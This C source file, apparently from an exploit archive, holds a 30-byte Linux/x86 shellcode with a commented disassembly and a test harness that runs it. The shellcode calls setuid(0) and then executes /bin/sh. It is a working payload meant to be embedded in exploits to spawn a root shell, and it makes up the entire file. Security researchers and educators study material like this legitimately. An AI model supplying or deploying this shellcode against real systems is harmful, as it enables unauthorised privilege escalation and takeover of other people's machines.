/*
* $Id: setuid-linux.c,v 1.4 2004/06/02 12:22:30 raptor Exp $
*
* setuid-linux.c - setuid/execve shellcode for Linux/x86
* Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Short fully-functional setuid(0) and /bin/sh execve() shellcode.
*/
/*
* setuid(0)
*
* 8049380: 6a 17 push $0x17
* 8049382: 58 pop %eax
* 8049383: 31 db xor %ebx,%ebx
* 8049385: cd 80 int $0x80
*
* execve("/bin//sh", ["/bin//sh"], NULL)
*
* 8049387: 6a 0b push $0xb
* 8049389: 58 pop %eax
* 804938a: 99 cltd
* 804938b: 52 push %edx
* 804938c: 68 2f 2f 73 68 push $0x68732f2f
* 8049391: 68 2f 62 69 6e push $0x6e69622f
* 8049396: 89 e3 mov %esp,%ebx
* 8049398: 52 push %edx
* 8049399: 53 push %ebx
* 804939a: 89 e1 mov %esp,%ecx
* 804939c: cd 80 int $0x80
*/
char sc[] = /* 7 + 23 = 30 bytes */
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80";
main()
{
int (*f)() = (int (*)())sc; f();
}
// milw0rm.com [2006-07-20]
